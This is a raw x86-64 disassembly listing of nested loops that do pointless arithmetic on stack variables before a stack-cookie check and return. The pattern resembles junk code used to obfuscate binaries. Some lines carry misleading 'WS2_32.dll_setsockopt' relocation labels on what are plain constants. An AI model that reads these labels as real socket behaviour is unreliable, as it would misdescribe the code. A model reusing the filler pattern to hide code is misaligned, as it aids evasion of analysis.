cmp dword [rsp + 0x1024], 5
jle 0x14018d886
mov eax, dword [rsp + 0x1024]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1028], eax
mov dword [rsp + 0x670], 0x15
mov eax, dword [rsp + 0x670]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d85b
mov eax, dword [rsp + 0x670]
shl eax, 1
mov dword [rsp + 0x670], eax
jmp 0x14018d86c
mov eax, dword [rsp + 0x670]
add eax, 3
mov dword [rsp + 0x670], eax
mov eax, dword [rsp + 0x1028]
dec eax
mov dword [rsp + 0x1028], eax
cmp dword [rsp + 0x1028], 0
jg 0x14018d82b
jmp 0x14018d725
jmp 0x14018d1c9
jmp 0x14018df6b
mov dword [rsp + 0x102c], 0
jmp 0x14018d8b2
mov eax, dword [rsp + 0x102c]
inc eax
mov dword [rsp + 0x102c], eax
cmp dword [rsp + 0x102c], 5
jge 0x14018df6b
mov dword [rsp + 0x1048], 0x44
mov dword [rsp + 0x694], 0
jmp 0x14018d8e8
mov eax, dword [rsp + 0x694]
inc eax
mov dword [rsp + 0x694], eax
cmp dword [rsp + 0x694], 7
jge 0x14018dc3d
mov eax, dword [rsp + 0x694]
add eax, 4
mov dword [rsp + 0x15c], eax
mov eax, dword [rsp + 0x15c]
add eax, 4
mov dword [rsp + 0x15c], eax
cmp dword [rsp + 0x15c], 0x10
jne 0x14018dc2a
mov dword [rsp + 0x1030], 0
jmp 0x14018d943
mov eax, dword [rsp + 0x1030]
inc eax
mov dword [rsp + 0x1030], eax
cmp dword [rsp + 0x1030], 5
jge 0x14018da99
mov dword [rsp + 0x1034], 7
mov dword [rsp + 0x698], 0
jmp 0x14018d979
mov eax, dword [rsp + 0x698]
inc eax
mov dword [rsp + 0x698], eax
cmp dword [rsp + 0x698], 2
jge 0x14018da1c
mov eax, dword [rsp + 0x698]
inc eax
mov dword [rsp + 0x678], eax
mov eax, dword [rsp + 0x678]
inc eax
mov dword [rsp + 0x678], eax
cmp dword [rsp + 0x678], 2
jne 0x14018da0d
mov dword [rsp + 0x674], 0x15
mov eax, dword [rsp + 0x674]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018d9e1
mov eax, dword [rsp + 0x674]
shl eax, 1
mov dword [rsp + 0x674], eax
jmp 0x14018d9f2
mov eax, dword [rsp + 0x674]
add eax, 3
mov dword [rsp + 0x674], eax
mov eax, dword [rsp + 0x678]
imul eax, dword [rsp + 0x1034]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1348], eax
cmp dword [rsp + 0x678], 3
jl 0x14018d997
jmp 0x14018d969
cmp dword [rsp + 0x1034], 5
jle 0x14018da94
mov eax, dword [rsp + 0x1034]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1038], eax
mov dword [rsp + 0x67c], 0x15
mov eax, dword [rsp + 0x67c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018da69
mov eax, dword [rsp + 0x67c]
shl eax, 1
mov dword [rsp + 0x67c], eax
jmp 0x14018da7a
mov eax, dword [rsp + 0x67c]
add eax, 3
mov dword [rsp + 0x67c], eax
mov eax, dword [rsp + 0x1038]
dec eax
mov dword [rsp + 0x1038], eax
cmp dword [rsp + 0x1038], 0
jg 0x14018da39
jmp 0x14018d933
mov eax, dword [rsp + 0x15c]
imul eax, dword [rsp + 0x1048]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x134c], eax
mov dword [rsp + 0x103c], 0
jmp 0x14018dad4
mov eax, dword [rsp + 0x103c]
inc eax
mov dword [rsp + 0x103c], eax
cmp dword [rsp + 0x103c], 5
jge 0x14018dc2a
mov dword [rsp + 0x1040], 7
mov dword [rsp + 0x69c], 0
jmp 0x14018db0a
mov eax, dword [rsp + 0x69c]
inc eax
mov dword [rsp + 0x69c], eax
cmp dword [rsp + 0x69c], 2
jge 0x14018dbad
mov eax, dword [rsp + 0x69c]
inc eax
mov dword [rsp + 0x154], eax
mov eax, dword [rsp + 0x154]
inc eax
mov dword [rsp + 0x154], eax
cmp dword [rsp + 0x154], 2
jne 0x14018db9e
mov dword [rsp + reloc.WS2_32.dll_setsockopt0], 0x15
mov eax, dword [rsp + 0x150]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018db72
mov eax, dword [rsp + 0x150]
shl eax, 1
mov dword [rsp + 0x150], eax
jmp 0x14018db83
mov eax, dword [rsp + 0x150]
add eax, 3
mov dword [rsp + 0x150], eax
mov eax, dword [rsp + 0x154]
imul eax, dword [rsp + 0x1040]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1350], eax
cmp dword [rsp + 0x154], 3
jl 0x14018db28
jmp 0x14018dafa
cmp dword [rsp + 0x1040], 5
jle 0x14018dc25
mov eax, dword [rsp + 0x1040]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1044], eax
mov dword [rsp + reloc.WS2_32.dll_setsockopt8], 0x15
mov eax, dword [rsp + 0x158]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018dbfa
mov eax, dword [rsp + 0x158]
shl eax, 1
mov dword [rsp + 0x158], eax
jmp 0x14018dc0b
mov eax, dword [rsp + 0x158]
add eax, 3
mov dword [rsp + 0x158], eax
mov eax, dword [rsp + 0x1044]
dec eax
mov dword [rsp + 0x1044], eax
cmp dword [rsp + 0x1044], 0
jg 0x14018dbca
jmp 0x14018dac4
cmp dword [rsp + 0x15c], 0x14
jl 0x14018d907
jmp 0x14018d8d8
cmp dword [rsp + 0x1048], 0x28
jle 0x14018ddf3
mov eax, dword [rsp + 0x1048]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1058], eax
mov dword [rsp + 0x104c], 0
jmp 0x14018dc7e
mov eax, dword [rsp + 0x104c]
inc eax
mov dword [rsp + 0x104c], eax
cmp dword [rsp + 0x104c], 5
jge 0x14018ddd4
mov dword [rsp + 0x1050], 7
mov dword [rsp + 0x6a0], 0
jmp 0x14018dcb4
mov eax, dword [rsp + 0x6a0]
inc eax
mov dword [rsp + 0x6a0], eax
cmp dword [rsp + 0x6a0], 2
jge 0x14018dd57
mov eax, dword [rsp + 0x6a0]
inc eax
mov dword [rsp + 0x164], eax
mov eax, dword [rsp + 0x164]
inc eax
mov dword [rsp + 0x164], eax
cmp dword [rsp + 0x164], 2
jne 0x14018dd48
mov dword [rsp + 0x160], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x160]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018dd1c
mov eax, dword [rsp + 0x160]
shl eax, 1
mov dword [rsp + 0x160], eax
jmp 0x14018dd2d
mov eax, dword [rsp + 0x160]
add eax, 3
mov dword [rsp + 0x160], eax
mov eax, dword [rsp + 0x164]
imul eax, dword [rsp + 0x1050]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1354], eax
cmp dword [rsp + 0x164], 3
jl 0x14018dcd2
jmp 0x14018dca4
cmp dword [rsp + 0x1050], 5
jle 0x14018ddcf
mov eax, dword [rsp + 0x1050]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1054], eax
mov dword [rsp + 0x168], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x168]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018dda4
mov eax, dword [rsp + 0x168]
shl eax, 1
mov dword [rsp + 0x168], eax
jmp 0x14018ddb5
mov eax, dword [rsp + 0x168]
add eax, 3
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x1054]
dec eax
mov dword [rsp + 0x1054], eax
cmp dword [rsp + 0x1054], 0
jg 0x14018dd74
jmp 0x14018dc6e
mov eax, dword [rsp + 0x1058]
sub eax, 3
mov dword [rsp + 0x1058], eax
cmp dword [rsp + 0x1058], 0
jg 0x14018dc61
mov dword [rsp + 0x105c], 0
jmp 0x14018de10
mov eax, dword [rsp + 0x105c]
inc eax
mov dword [rsp + 0x105c], eax
cmp dword [rsp + 0x105c], 5
jge 0x14018df66
mov dword [rsp + 0x1060], 7
mov dword [rsp + 0x6a4], 0
jmp 0x14018de46
mov eax, dword [rsp + 0x6a4]
inc eax
mov dword [rsp + 0x6a4], eax
cmp dword [rsp + 0x6a4], 2
jge 0x14018dee9
mov eax, dword [rsp + 0x6a4]
inc eax
mov dword [rsp + 0x170], eax
mov eax, dword [rsp + 0x170]
inc eax
mov dword [rsp + 0x170], eax
cmp dword [rsp + 0x170], 2
jne 0x14018deda
mov dword [rsp + 0x16c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x16c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018deae
mov eax, dword [rsp + 0x16c]
shl eax, 1
mov dword [rsp + 0x16c], eax
jmp 0x14018debf
mov eax, dword [rsp + 0x16c]
add eax, 3
mov dword [rsp + 0x16c], eax
mov eax, dword [rsp + 0x170]
imul eax, dword [rsp + 0x1060]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1358], eax
cmp dword [rsp + 0x170], 3
jl 0x14018de64
jmp 0x14018de36
cmp dword [rsp + 0x1060], 5
jle 0x14018df61
mov eax, dword [rsp + 0x1060]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x9e0], eax
mov dword [rsp + 0x510], 0x15
mov eax, dword [rsp + 0x510]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018df36
mov eax, dword [rsp + 0x510]
shl eax, 1
mov dword [rsp + 0x510], eax
jmp 0x14018df47
mov eax, dword [rsp + 0x510]
add eax, 3
mov dword [rsp + 0x510], eax
mov eax, dword [rsp + 0x9e0]
dec eax
mov dword [rsp + 0x9e0], eax
cmp dword [rsp + 0x9e0], 0
jg 0x14018df06
jmp 0x14018de00
jmp 0x14018d8a2
mov rcx, qword [rsp + 0x4930]
xor rcx, rsp
call fcn.1401e0060
add rsp, 0x4948
pop rdi
pop rsi
ret